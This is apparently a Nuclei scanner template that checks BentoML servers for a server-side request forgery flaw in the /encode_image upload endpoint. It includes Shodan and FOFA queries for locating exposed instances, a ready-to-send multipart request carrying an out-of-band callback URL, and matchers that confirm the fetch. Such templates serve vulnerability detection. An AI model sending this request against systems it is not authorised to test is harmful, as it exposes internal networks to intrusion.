bentoml-ssrf: Bentoml - Server Side Request Forgery

id: bentoml-ssrf

info:
  name: Bentoml - Server Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    BentoML's upload file request is vulnerable to SSRF that allowing attacker to access internal service (local network).
  reference:
    - https://huntr.com/bounties/901ae5bd-5e24-4f1f-be9f-aa03fa6e1316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-918
  metadata:
    max-request: 1
    vendor: bentoml
    product: bentoml
    shodan-query: html:"BentoML"
    fofa-query: body="BentoML"
  tags: ssrf,bentoml,oast,oob

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /encode_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGqThdiCjrkRXHqIr

        ------WebKitFormBoundaryGqThdiCjrkRXHqIr
        Content-Disposition: form-data; name="items";

        http://{{interactsh-url}}/{{rand}}
        ------WebKitFormBoundaryGqThdiCjrkRXHqIr--

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - "contains(interactsh_protocol,'http')"
          - 'contains(body, "error\":")'
          - 'status_code == 500'
        condition: and
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